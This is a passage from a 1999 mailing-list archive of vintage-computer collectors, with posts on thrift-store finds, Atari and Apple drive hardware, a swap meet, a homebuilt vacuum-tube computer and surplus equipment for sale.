the courage to dismantle one totally, > clean/lubricate it, and get it working again). I have a few of them that > I've picked up over the years. > > Generically they're not that rare, but there were a lot of models, so > you'll probably not see a second example of a particular machine. > > My attitude to these machines is that they are calculating machines and > need to be preserved. I'll not spend too much time hunting for them (I > prefer electronic machines), but if I see one at a low enough price (or > free :-)), then I'll probably take it. > > -tony > The sole calculator in my collection is a Monroe LX160 mechanical one. Lovely little machine, came out in the late 30s I believe. Baked on colored enamel in green and tan on the keys. The intricacies of the mechanicals is amazing. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Sat Jan 30 21:03:49 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:41 2005 Subject: Atari 1050 mods? In-Reply-To: Message-ID: <199901310804.DAA25031@smtp.interlog.com> On 30 Jan 99 at 23:35, R. Stricklin (kjaeros) wrote: > > Hi there. > > I finally scored a piece of disk-based software for Atari 8-bits, so I > decided today to test out my atari disk drives to see if any of them > actually worked. > > One 1050 did. > > The other 1050 doesn't run the seek test when you turn it on, and is > invisible to the computer. I removed the actual disk drive from the > cabinet and verified that it does in fact work in the other 1050 chassis. > > While doing this I noticed that the non-working 1050 seemed to have had a > modification done (rather sloppily, I might add; I suspect this has > something to do with why it doesn't work properly). > > There is a hand-written silver sticker over what I'm assuming is an EPROM > that reads, "Doubler". There is a second Motorola 6810 piggybacked onto > the normal 6810, and a couple of jumper wires leading off into the PCB. > > What was this, and how was it done properly (so I can verify that it's > ok)? > > I have a Percom branded full height disk with Atari SIO connects on that > also seems to not work. I think this is because I need to decipher the > 4-position DIP switch at the back panel. Any hints? As it is now, the > access light repeatedly switches on and goes off again, each accompanied > by a moderately loud click. The light is on for a second and then off for > maybe two. It doesn't ever stop doing this, and the drive is invisble to > the computer. The drive inside is full height, and made by Tandon I > believe. > > ok > r. From David Pattersons Atari 8-bit Hardware Upgrade FAQ > US Doubler The Atari 1050 drive was brain-damaged from the very beginning. Rather than add a few dollars worth of parts to make a true double-density drive, Atari invented their own format, called "dual-density", which stored 130k on a disk. ICD produced the US Doubler, a hardware add-on that gave the 1050 true double-density. As an added bonus, it also included UltraSpeed, which made "the normal beep-beep of Pokey sound like staccato machine gun fire" according to one review. A variant was produced which added 4 to the drive number, permitting drives to be addressed as D5:-D8:. > Likely the best place to get answers would be the comp.sys.atari.8bit naewsgroup. It is very active and they're a helpful lot. ciao larry lwalker@interlog.com From kurtkilg at fred Sat Jan 30 09:48:52 1999 From: kurtkilg at fred (Max Eskin) Date: Sun Feb 27 18:40:41 2005 Subject: Instant classic In-Reply-To: from Sam Ismail at "Jan 30, 99 10:42:38 pm" Message-ID: > > Have you all seen the latest G3 PowerMac on the TV ads? Instant classic! Would you describe these ads, please? Is this the translucent tower? Thanks. From kurtkilg at fred Sat Jan 30 09:54:38 1999 From: kurtkilg at fred (Max Eskin) Date: Sun Feb 27 18:40:41 2005 Subject: Russian Computer Museum In-Reply-To: from Sam Ismail at "Jan 30, 99 08:13:26 pm" Message-ID: > I hope you can read Russian. Speaking of which, how many people on this list know how to read Russian? Hans, can you? From edick at idcomm.com Sun Jan 31 10:37:16 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:41 2005 Subject: Some finds and a few questions Message-ID: <001a01be4d37$f6b43da0$82483cd1@edick> I recently found a Xebec hard drive/box/powersupply arrangement in a thrift store. Since I was after the box and supply, the fact that the controller was integrated into the drive hardware, which made it almost completely inscrutable, was not a problem. If someone wants these remnants, they're up for grabs for the shipping cost . . . I also have a Tandy portable computer, which I was given, which might be of some interest to someone. Since I don't know a thing about it and don't want to learn, this is also available for the cost of shipping. It's quite small, but not exactly "pocket size" though I guess it's closer to that than to a desktop of the time. I was given a wall-wart and a cable along with it, and it has an integrated printer, I believe. Dick -----Original Message----- From: David Williams To: Discussion re-collecting of classic computers Date: Saturday, January 30, 1999 10:32 PM Subject: Some finds and a few questions I finally had a chance to get out and hit a few thrifts again. I was chained in a studio working on an anime, but I'm free again. Anyway, I found a Xebec Sider harddrive. Was this for the Apple //? Something was loose inside so I checked and found a small rectangle filled with some ceramic like stuff and a wire sticking out of each end inside of the PSU. Can't seem to see anywhere in the power supply where this thing may have come from but also can't see how it could have gotten inside if it didn't belong. Not even sure what it is. Any ideas anyone? Also would like any info on the drive type, size interface, etc. It is a model 9710H. Looks like I can pull the drive from the case and hook up a different PSU. On another note, anyone tell me anything about a handheld unit, I think it was an LK-3000 or some such, I'll have to go back and check. The guy wants $50 for it and also has a Tandy Pocket Computer for $40 I'm thinking of picking up. Other things I grabbed: Odyssey2 in box Coleco Adam in box (damn big box for a home console system) Atari 1040STf (may sell/trade this as I have one and an STfm too) Couple of Apple 5.25" drives Misc software and books For those of you who were interested in the Mattel Aquarius Data Recorders, after two months of no replies to my query on where to drop off the money and pick up the recorders, I have finally given up on them. They said they accepted my offer but then they just fell silent. Guess they found someone else with a better offer. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From edick at idcomm.com Sun Jan 31 10:39:23 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:42 2005 Subject: Bernoulli cartridges Message-ID: <001f01be4d38$42a0e2e0$82483cd1@edick> Golly! I recently passed up a $10 dual 150-meg unit at the local junk store. If I'd thought someone had that many cartridges in one place, I'd have bought the thing just to pass along to someone like you. Dick -----Original Message----- From: KFergason@aol.com To: Discussion re-collecting of classic computers Date: Saturday, January 30, 1999 10:22 PM Subject: Re: Bernoulli cartridges >In a message dated 1/30/99 8:58:55 PM Central Standard Time, >dburrows@netpath.net writes: > >> I recently picked up about 30 150meg Bernoulli cartridges that have never >> been opened. According to the chart on the back they should work on the >> 90meg. >> Dan >> >hmm, i don't have any new ones, so the chart you are talking about makes >no sense to me. Can you write to the 150's with the 90M drive? perhaps, >format the cartridges as 90's? Is that what it means? > >just curious. >kelly From jpl15 at netcom.com Sun Jan 31 10:36:43 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:42 2005 Subject: SoCal TRW Swapmeet Message-ID: Ah yes... nice cool wx, mid 70s... good company, and everybody and their dog turned out for it.. I got down there at 6:15 am and the seller's set-up area was already half full. I got the rest of the cables for my Prime system.. now I can see if it boots. I got a *bunch* of books... most came from five boxes that I bought for $20... intending to take home and browse thru... but as I was unpacking the truck, book-sharks came from everywhere and very soon I had sold almost all of them... barely keeping the ones I wanted, and neeless to say at a tidy profit... :) Not much in the way of stunning classiccmp-related items... Doug got that one (the Basis machine new-in-the-box)... someone left a poor Televideo 912 behind when they left so I rescued it. I found some more disk packs for my CDC 9766 drive. Next one is next month... the last saturday in February.. anyone in the Los Angeles area then is invited to attend... there will be a Classiccmp Bash/Banquet/Brag session right afterwards.. Cheerz John PS: Oooppss... I forgot about the Russian Typewriter I bought.. I had to have it.. a nice 50's Royal Standard... all Cyrillic.... too cool! From zmerch at 30below.com Sun Jan 31 11:05:50 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:42 2005 Subject: TRW Swap Meet In-Reply-To: References: <36B3D186.AA4CC342@rain.org> Message-ID: <3.0.1.32.19990131120550.00969b40@mail.30below.com> On or about 02:02 AM 1/31/99 -0500, Doug was caught in a dark alley speaking these words: >Good company. Good scores. Good weather. What else could you ask for? A free plane ticket to SoCal for the next meet??? Being in Northern Michigan does have it's downfalls. ;-) "Merch" ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From museum at techniche.com Sun Jan 31 11:28:41 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:42 2005 Subject: Hello all! Message-ID: <199901311728.MAA18556@chmls05.mediaone.net> Hi Jay, I wanted to reply to you. I have a system that you might be interested in. It's a 2100S Microprogrammable System Computer It is a rack mount box about a foot high and 2.5 feet deep. I also have a similarly sized expansion box for it. These were pulled from a large bank of racked surplus equipment. It was all wired and presumably working when it was decommissioned. Although I've never applied power to it. In fact I also have some kind of an HP monitor that was attached. Both units are populated with cards (including HPIB interface cards and the cables to interconnect the two boxes). Someone once pointed me to a photograph of this system on the web, but I don't recall off-hand were it is. It has little square luminated push-button switched on the front of the primary box. The expansion box has a plain front panel. If this is the kind of item you're looking for we might be able to trade. I don't think I'd want to sell it outright. I didn't see where you were from. This unit is REAL heavy. Each of the two enclosures probably weigh about 80lbs so would probably be expensive to ship. I'm located in New Hampshire (zip 03103). I collect homebuilt kits and single board computers and related materials including documentation from approximately 1965-1985. Kind of things I'm looking for: Altair :: Imsai :: AIM-65 :: An original ELF :: Ohio Scientific equip. Ithaca :: maybe a PDP-8? :: definately a SCELBI H8 Jon >I just found out about this list so I thought I'd post this here in case >someone can help... I appologize if this is a repeat post! > >Looking for anything HP21MX or HP2000 related - cpu's, peripherals, etc. >Many of the HP1000 system peripherals are of interest too. My particular >interest is TSB (Time Share BASIC), not RTE, so I'm also interested in >IOP Roms, etc. > >Especially interested in the following: >21mx series cpus and controllers >2748A or 2748B high speed paper tape reader >790x type disk drives (7900, 7905, or 7906) >7970 tape drive >TSB 1541 rev c or later paper tape (binary, loader1, and loader2) > >This is for a private collection, hobbyist use (not business or resale) - >does anyone have any of this stuff around in storage they'd be willing to >part with? > >Please reply directly to jay@tseinc.com. Thanks! > >Jay West > > > From dlw at trailingedge.com Sun Jan 31 11:34:34 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:42 2005 Subject: Some finds and a few questions In-Reply-To: References: <199901310517.XAA25656@trailingedge.com> Message-ID: <199901311734.LAA27487@trailingedge.com> On 30 Jan 99, at 23:01, Sam Ismail wrote: > Yes. 10MB. Mine is still running strong after 14+ years of usage (well, > it hasn't really seen much action in the past 5, but it did use to run on > a 24/7 BBS back in the 80s). > > I hope you got the Xebex controller card with it. Its probably inside the > Apple //e that the drive was donated to the thrift store with. Nope, there wasn't a //e there. Someone else either picked it up or more likely for this place, they never had it. There was a //gs there but no cards inside and since I have 2 already I left it for someone else. It was also missing the keyboard, mouse and monitor. I do have an unknown card for the A2 which I've been told was a Sider controller. I may give them a try together but of course I don't have any drivers Sam, hint, hint? > I believe its an ST-225 (or whatever the 10MB Seagate model is). I just > opened up my Sider ][ and its some sort of NEC half-height 5.25" drive. One note, the labels don't call it a Sider ][, just a The Sider. Was the Sider A2 only or did they sell it for other systems too? > $40? At a thift store? Sheesh. $15 tops. Actually that wasn't at a thrift, it was a pawn shop. Though at the thrift I picked up the Sider at they had a complete Mac LC which made me laugh. They wanted $120.00 for it, complete with cracked monitor case. I passed on it. > Is the LK-3000 truly handheld > or is it a portable like a Tandy M100? It is a small handheld type system like the Tandy Pocket Computer but not as long. A calculator type QWERTY keyboard and small display. I need to go back and look at it a little more closely. > > > Other things I grabbed: > > > > Odyssey2 in box > > Cool. Yes, I like this one. I've had a bunch of carts for it for a long time and finally found a system to play them on. > > > Coleco Adam in box (damn big box for a home console system) > > Cool. I passed on the chance to get two of these in the box for $20 about > 5 years ago but balked at the shipping. Its not like they're Altairs but > people these days would want ebay dollars for something like that. The > printer came in the box too, right? That explains the size. Yes the printer came in there too. I always got a kick out of the fact that the printer was the PSU for the computer. I had a friend bring this back from a trip so I didn't have to pay for shipping. That would have been a bear. > > I forgot all about that. Were you in voice contact with them or e-mail? I was in email with them. They were local and called me once but I don't have a number for them. After not receiving a reply to several emails over the last couple of months and not getting any bounce messages, I've given up on them and the recorders. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From doug at blinkenlights.com Sun Jan 31 11:54:18 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:42 2005 Subject: Time to share a source - W.J.Ford Surplus In-Reply-To: <000601be4d22$6e4b2d80$72f438cb@a.davie> Message-ID: On Mon, 1 Feb 1999, Andrew Davie wrote: > Do you guys/gals have any idea how hard it is to share a (almost sacred) > hunting ground? Do you know how hard it is when somebody else decides to share your sacred hunting ground? Ford is good for HP stuff, among others.... -- Doug From dastar at ncal.verio.com Sun Jan 31 12:14:19 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:42 2005 Subject: Some finds and a few questions In-Reply-To: <199901311734.LAA27487@trailingedge.com> Message-ID: On Sun, 31 Jan 1999, David Williams wrote: > I do have an unknown card for the A2 which I've been told was a > Sider controller. I may give them a try together but of course I don't > have any drivers Sam, hint, hint? Oh yeah, I think I remember you posting about the card trying to identify it. As far as drivers, everything you need is on the card and the hard drive. Remember, with the Apple ][, the "driver" software is embedded on a PROM or EPROM on the card itself which maps directly into a memory space dedicated to the slot the card is plugged in to. You should be able to just plug the card in (I suggest slot 7) and connect the hard drive to the card. Did you get the ribbon cable that connects to the end of the card and terminates with a DE-37 enclosed in a big metal bracket? Did you also get the thick black cable that connects from this DE-37 to the back of the hard drive? Finally, did you get the terminator that plugs into the other connector on the hard drive? (You are able to daisy-chain multiple hard drives together. I think the limit is 2 but don't hold me to that). Assuming you have all the required cables (my guess is that you a re missing the ribbon cable still), connect them all together and fire it all up. Hopefully the drive is not crashed and the OS installed will boot. The hard drive controller loads the first sector off the hard disk, which is the boot sector. That then loads the rest of the OS and then boots the OS. As far as I know, the initial boot is always into DOS 3.3. Then there is a First Class Peripherals menu that allows you to boot into other partitions (you could partition it for ProDOS, CP/M, and Pascal). I have all the formatting and installation software if you need it. But if it boots into anything then you're set. I modified the boot sector on mine to allow me to bypass the harddrive and boot to floppies if I held down the open-apple key. Open-Apple key for convenience. One of the ways to reboot an Apple //e is to hold down the Control and Open-Apple keys while pressing Reset. I added some code in the HD boot sector to look for Open-Apple being depressed. If it sees it, it then forces a boot to the floppy drive. So when I reboot my machine with Ctrl-OA-Reset, if I continued holding down the Open-Apple key I could boot right to floppies. If I let go quick enough I would boot the hard drive. It took only a couple practice tries to get used to it. > One note, the labels don't call it a Sider ][, just a The Sider. Was > the Sider A2 only or did they sell it for other systems too? As far as I know they only marketed the sider to the Apple world. The Sider is a 10MB unit, and the Sider ][ is 20MB. There's also the B-Sider which is a companion tape backup unit (I don't know the capacity). > > $40? At a thift store? Sheesh. $15 tops. > > Actually that wasn't at a thrift, it was a pawn shop. Though at the That explains it. I've been to pawn shops before where their prices were higher than retail!! It makes me want to strangle the owner just out of disgust. > > > Odyssey2 in box > > > > Cool. > > Yes, I like this one. I've had a bunch of carts for it for a long time > and finally found a system to play them on. Well, don't get your hopes up about the games. They suck for the most part. > > I forgot all about that. Were you in voice contact with them or e-mail? > > I was in email with them. They were local and called me once but I > don't have a number for them. After not receiving a reply to several > emails over the last couple of months and not getting any bounce > messages, I've given up on them and the recorders. I've had situations where the seller just wasn't receiving my e-mails. Give them one more chance and look up their number. If they were being asses about it, at least by confronting them on the telephone they will be more likely to tell you what happened as opposed to just hanging up on you. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sun Jan 31 12:16:03 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:42 2005 Subject: Instant classic In-Reply-To: Message-ID: On Sat, 30 Jan 1999, Max Eskin wrote: > > Have you all seen the latest G3 PowerMac on the TV ads? Instant classic! > > Would you describe these ads, please? Is this the translucent tower? Thanks. Yes. The side flips down and the motherboard and cards are attached to the side panel. It looks incredibly easy to work on. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From allisonp at world.std.com Sun Jan 31 12:33:47 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:42 2005 Subject: new toy! Message-ID: <199901311833.AA17874@world.std.com> 16 bit translation and from what I have here there is not enough addresses brought out to the host adaptor plug. That means a CPU piggyback adaptor (GIDE is one case). SCSI would be easier as a cpu interface but the SCSI bios is a nightmare for the 5380 type chips. In any case adding a hard disk to kaypro requires utility software, an interface and BIOS. Going the turborom route and putting two to three 3.5" disks is easier. With 3.5" drives there is auto write portect on power down so you dont need to eject the disks and with the that would be 2.3mb of available storage plus the 360kb drive for compatability. I have one setup in such a mannor with an old IBM PS/2 drive inside the case (I treat it as 781k hard drive) and two drives on the front (3.5" and 5.25" 360k). For what I use the kaypro for that's plenty of on line storage. To do 1.44mb would require far more effort due to data rate and the fact that DMA is not available so it would be hardware mods for floppy controller and also big time bios mods. Allison From healyzh at aracnet.com Sun Jan 31 13:57:06 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:42 2005 Subject: OT: New G3 Mac Tower (was: Re: Instant classic) In-Reply-To: References: Message-ID: Sam Wrote: >On Sat, 30 Jan 1999, Max Eskin wrote: > >> > Have you all seen the latest G3 PowerMac on the TV ads? Instant classic! >> >> Would you describe these ads, please? Is this the translucent tower? Thanks. > >Yes. The side flips down and the motherboard and cards are attached to >the side panel. It looks incredibly easy to work on. I hate to say it, but this shows you're not a SERIOUS Mac-Head. I can live without the floppy, but not having serial ports on the Professional Model is CRIMINAL! Just where am I supposed to plug that $500 Graphics Tablet I bought three months ago? At least they included a ADB port, which is probably their way of admitting that the keyboard and mouse that is ships with SUCK! Things they did Right: 10/100Base-T (I had to add 100Base-T to my 8500/180) Top of the line model has UW SCSI ADB Port Good Graphics Card with plenty of memory USB Things they did Wrong: No Floppy (Yes, if you think back I said this was good for the iMac) No Serial Ports <-- Someone really should be shot! Someone buying this to replace a high end system is likely to have some expensive peripherals they don't want to have to replace or buy a serial card for. Undecided: Firewire The "New Look" <-- For a professional system it doesn't look very professional, but then I guess they're targeting the art market. Having said that, I need to start saving my money up I think. I want one of the high-end model, and will have to add another 128Mb, Serial Ports, and maybe a floppy drive. Or, I can just be smart and buy a G3 accelerator for my existing setup. Actually a LS120 would probably be the way to go, and should be an option. On an interesting note I just looked at the build to order web page to double check on the LS120 and found the following note "Note: The Ultra SCSI PCI card and the DVD-RAM drive are planned to be available in February. The three 36GB Ultra2 SCSI drives with dual-channel SCSI PCI card and Gigabit Ethernet PCI card are planned for March." Looks like if you want one and can afford the extra's waiting until about March might be a good idea. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From ddameron at earthlink.net Sun Jan 31 11:24:32 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:42 2005 Subject: vacuum tube computer In-Reply-To: Message-ID: <3.0.6.16.19990131112432.23df040e@earthlink.net> At 08:02 AM 1/30/99 EST, John wrote: >Hi all, >Therefore, I decided to design and build a complete computer with >vacuum-tube technology from scratch. A short description of the project is >enclosed, >Program code is 24 bit wide, i.e. each operation >occupies two 12 bit words. The first word is the >opcode, the second word is >a. the address or >b. an immediate value > >Three 19" racks are used. The bottom of each rack >holds the power supplies (good old Seymour style), >the upper parts a total of about 30 card cages for >standard Euro cards 100 mm x 160 mm. Each cage can >hold up to 14 cards. Standard 19" mechanical >components are used for cost and availablity >reason. Ventilation is by off-the-shelf 19" >ventilator assemblies. > >There are four types of cards: >a. logic and registers (approx. 200 used) >b. clock drivers (approx. 25 used) >c. core sense amplifiers (12 used) >d. core drivers (19 used) >Types a,b use the same printed circuit board, differing >parts mounting. Types c, d are different. > >The tubes used have been selected according to >availability of surplus stocks. Starting from >surplus stock lists, the most suitable tube for >each purpose has been selected, resulting in average >cost of less than 1 US$ per tube. > >Types a and c use 6BQ7A miniature dual triodes, >two per card, approx. 400 tubes total. >Type b uses 6CW5 miniature power >pentodes, two per card, approx. 50 tubes total. >Type d uses 40KG6 beam power pentodes, four per card, >76 tubes total. Sounds like an ambitious project! Maybe you can find valves like 5963 which is a computer version of the ECC82 or 12AU7. The prices of these hasn't been driven up by vacuum tube audio people. Am amazed you couls build a computer like this with ~400 cards ~800 tubes. That is similar to building a complete computer with 200 SSI TTL chips like a 7400. Especially since a 24 bit latch could use 24 of the cards. I tried a design once (on paper) with MSI ic's like 74193 counters, and it quickly got out of hand, 100's of ic's. It has been in the back of my mind to build something with relays, discrete transistors, or even RTL (Don Tarbell did this, which got me interested in him initially). Have you seen the book, or web references just posted here, of the book "Computer Structures, Readings and Examples", by Gordon Bell. There is a UK computer described there, Pegasus, built with valves in 3 bays. It has approx 400 cards with 3 valves/cards, and is from about 1956. -Dave From ddameron at earthlink.net Sun Jan 31 11:45:24 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:42 2005 Subject: TRW Swap Meet In-Reply-To: <36B3D186.AA4CC342@rain.org> References: <003801be4cc4$89d1ed90$bf281bce@tower166> Message-ID: <3.0.6.16.19990131114524.23df37f0@earthlink.net> At 07:44 PM 1/30/99 -0800, you wrote: >Had a great time this morning at the TRW Swap meet. John, Doug, Dave, and I >were there. Yes, I enjoyed it and met Doug, Marvin and John. I found 2 boxes of cards most with the (gold) edge connectors cut off. Included were 1) 3 GE flip flop cards with transistors removed, dated 1957, 2)many small cards about 7 by 10cm (single sided with jumpers, extra holes) with up to 8 transistors, made by ? (IBM?), about 1962, 3)a 8 stage shift register with 923 RTL with a delay line (16 caps, 16 toroid inductors), 4) 2 core memory modules(?) for a Motorola bus system, 2x43 pin edge connector, 5/32" contact spacing. 5) 2 blank unknown S-100 cards. 6)Many transistor cards with types like 2N1305 or 2N404, some built on a PC board, some hand wired with staked terminals, some prototypes on punched Vector boards. The only DEC card is part of a M710 "punch control" card from 1972. There was a lot of consumer electronics which I threw away - TV, VCR boards, etc. Am looking at scanners so I can post some of this stuff. -Dave From jlwest at tseinc.com Sun Jan 31 14:09:03 1999 From: jlwest at tseinc.com (Jay West) Date: Sun Feb 27 18:40:42 2005 Subject: Prime and DPS6 Message-ID: <001801be4d55$8d9d2e80$0101a8c0@jay> Oh - I didn't know anyone here collected Prime computers. My company used to specialize in Pick and Pick-like operating systems (such as prime information and the honeywell dps6 version of Ultimate OS). If anyone is looking for Pr1me gear, I know where most of it in the St. Louis area is... probably know a few customers who still have their DPS6's in storage too. Just let me know... Matter of fact, I know where a completely working Prime 2550 with 1/2 tape drive bay is. They said anyone could have it, just cart it away. It's in pristine shape, along with all load tapes, docs, etc. Jay West -----Original Message----- From: John Lawson To: Discussion re-collecting of classic computers Date: Sunday, January 31, 1999 10:43 AM Subject: SoCal TRW Swapmeet > > > Ah yes... nice cool wx, mid 70s... good company, and everybody >and their dog turned out for it.. I got down there at 6:15 am and >the seller's set-up area was already half full. > > I got the rest of the cables for my Prime system.. now I can see >if it boots. > > I got a *bunch* of books... most came from five boxes that I >bought for $20... intending to take home and browse thru... but as >I was unpacking the truck, book-sharks came from everywhere and very >soon I had sold almost all of them... barely keeping the ones I >wanted, and neeless to say at a tidy profit... :) Not much in >the way of stunning classiccmp-related items... Doug got that one >(the Basis machine new-in-the-box)... someone left a poor Televideo >912 behind when they left so I rescued it. I found some more disk >packs for my CDC 9766 drive. > > Next one is next month... the last saturday in February.. anyone >in the Los Angeles area then is invited to attend... there will be >a Classiccmp Bash/Banquet/Brag session right afterwards.. > > > Cheerz > >John > > PS: Oooppss... I forgot about the Russian Typewriter I bought.. I >had to have it.. a nice 50's Royal Standard... all Cyrillic.... >too cool! > From lwalker at mail.interlog.com Sun Jan 31 09:49:25 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:42 2005 Subject: Heads-up TRS80 m4 Message-ID: <199901312049.PAA12750@smtp.interlog.com> Meant to post this heads-up last week, but if someone is interested, it might be still available. Usual contract the mailer NOT me. ciao larry ............................................................................... From nobody at replay.com Thu Jan 21 05:22:25 1999 From: nobody at replay.com (Anonymous) Date: Sun Feb 27 18:40:42 2005 Subject: TRS-80 Model 4 for sale CHEAP ($10) Message-ID: My email: trs80@plbm.com Dual-floppy drive TRS-80 Model 4 microcomputer for sale CHEAP (only $10). NOTE!!!! THIS IS -NOT- A MODERN COMPUTER! IF YOU NEED TO ASK IF IT IS AN IBM COMPATIBLE, THIS IS *NOT* THE COMPUTER YOU WANT!!! Please see "The Catch" below. Picture available at http://www.plbm.com/trs80.jpg I just powered it on and it works fine. I have two diskettes; one boots to TRSDOS and I just ran CDRAG (Sea Dragon) off the second disk, so both drives seem to work fine, although some files on the disks don't seem to run. Notes: The little sticker on it says 16k RAM. I didn't verify this. Spare parallel centronix printer cable. Conformal dust cover included. See picture at: http://www.plbm.com/trs80.jpg THE CATCH I absolutely do -not- have time to take this to the post office or Mail Boxes Etc, and stand in line to ship it somewhere, even if you're offering to reimburse. Therefore, you need to come here and get it. I live in Costa Mesa, California (in Orange County) and you can email me at trs80@plbm.com to arrange a mutually-convenient pickup if you're interested. If nobody is interested, it goes to the dumpster in a few more weeks. DO *NOT* SEND EMAIL ASKING IF I CAN SHIP IT TO YOU. I WILL NOT SHIP THIS COMPUTER! I WILL DELETE ALL SUCH EMAILS WITHOUT RESPONDING!! lwalker@interlog.com From lwalker at mail.interlog.com Sun Jan 31 09:49:30 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:42 2005 Subject: TRW Swap Meet In-Reply-To: <3.0.1.32.19990131120550.00969b40@mail.30below.com> References: Message-ID: <199901312049.PAA12805@smtp.interlog.com> On 31 Jan 99 at 12:05, Roger Merchberger wrote: > On or about 02:02 AM 1/31/99 -0500, Doug was caught in a dark alley > speaking these words: > > >Good company. Good scores. Good weather. What else could you ask for? > > A free plane ticket to SoCal for the next meet??? > > Being in Northern Michigan does have it's downfalls. ;-) > > "Merch" > ===== But, then again it's advantages. Such as being a suburb of a major Northern Canadian city, Sault Ste Marie, Ontario. :^)) ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Sun Jan 31 09:49:24 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:42 2005 Subject: Time to share a source - W.J.Ford Surplus In-Reply-To: References: <000601be4d22$6e4b2d80$72f438cb@a.davie> Message-ID: <199901312050.PAA12843@smtp.interlog.com> On 31 Jan 99 at 12:54, Doug wrote: > On Mon, 1 Feb 1999, Andrew Davie wrote: > > > Do you guys/gals have any idea how hard it is to share a (almost sacred) > > hunting ground? > > Do you know how hard it is when somebody else decides to share your sacred > hunting ground? Ford is good for HP stuff, among others.... > > -- Doug > You aren't going to suggest that "sacred hunting grounds" be placed under indictment or on a separate list I would hope. :^) ciao larry lwalker@interlog.com From jlwest at tseinc.com Sun Jan 31 14:54:40 1999 From: jlwest at tseinc.com (Jay West) Date: Sun Feb 27 18:40:42 2005 Subject: Time to share a source - W.J.Ford Surplus Message-ID: <019101be4d5b$ece44c60$0101a8c0@jay> I love the add-on from Doug - priceless !!! Also, for when you absolutely must get an antique HP part that isn't available, and you've reached the end of your rope and are now willing to pay severe cash for it.... There's crisis, mbg, and norco. They all still sell stuff for HP1000, 2100, 21mx, A series, etc.... and more. Be warned, the prices assume you are buying for a business use system - they give new meaning to the term stiff pricing. But - in a pinch... Jay West -----Original Message----- From: Doug To: Discussion re-collecting of classic computers Date: Sunday, January 31, 1999 12:00 PM Subject: Re: Time to share a source - W.J.Ford Surplus >On Mon, 1 Feb 1999, Andrew Davie wrote: > >> Do you guys/gals have any idea how hard it is to share a (almost sacred) >> hunting ground? > >Do you know how hard it is when somebody else decides to share your sacred >hunting ground? Ford is good for HP stuff, among others.... > >-- Doug > > From rhblake at bigfoot.com Sun Jan 31 15:09:36 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:42 2005 Subject: FS: PS/2 50Z with tape and external floppy Message-ID: <36B4C68F.ED1BEC31@bigfoot.com> Well I'll be posting things as I get throught them since I have a move in the next 6mos to a year ahead and there's way too much here. I'll only post what I think the readers of this list would be interested in, at as low a price as I can go. I have an IBM PS/2 model 50Z (286) with factory tape drive (unknown format) that is fit into the B: drive bay, and a 360k external floppy drive unit (IBM). No keyboard or monitor. I believe it has a 30 or 40mb hard drive and 1 or 2mb ram. I gave over $35 for this machine without the external floppy, basically on a whim for future use. I haven't had a use for it yet due to no time. I'd like to see this unit get used where it will be appreciated. You can even bump it up to a 386 with one of those 286 to 386 upgrades like a "Snap-In" made by Intel or others. The tapedrive slot looks like a QIC-80 size but taller. Like I say this is unknown but should be common enough. Shipping weight from 40144 would be roughly 32 -34 lbs. I need to see $25 for the unit and external floppy drive, plus the USPS shipping. If you are near the central US, shipping shouldn't be too bad. It all works great but the only thing on the hard disk (IIRC) is DOS so you'll have to visit IBM's FTP for the tape and floppy drive drivers, no big task though for most of us. All the hard ware is IBM so it should be an easy thing to locate. Email me driect at RHBLAKE@BIGFOOT.COM if you might seriously be interested. From amirault at epix.net Sun Jan 31 19:07:06 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:42 2005 Subject: HP Apollo 400 Message-ID: <36B4FE39.70CD433D@epix.net> Hi Everyone, I came across a Hewlett Packard Apollo 400. Can anyone tell me anything about this machine. I know nothing about it. I would like to know the processor speed, approximate date of manufacture,something about the ram amount(I do know that it has two ram boards in it). Thanks in advance for all the help. John Amirault From red at bears.org Sun Jan 31 16:14:03 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:42 2005 Subject: HP Apollo 400 In-Reply-To: <36B4FE39.70CD433D@epix.net> Message-ID: On Sun, 31 Jan 1999, John Amirault wrote: > I came across a Hewlett Packard Apollo 400. Can anyone tell me anything > about this machine. I know nothing about it. This was HP's "transition machine" from after they bought Apollo in 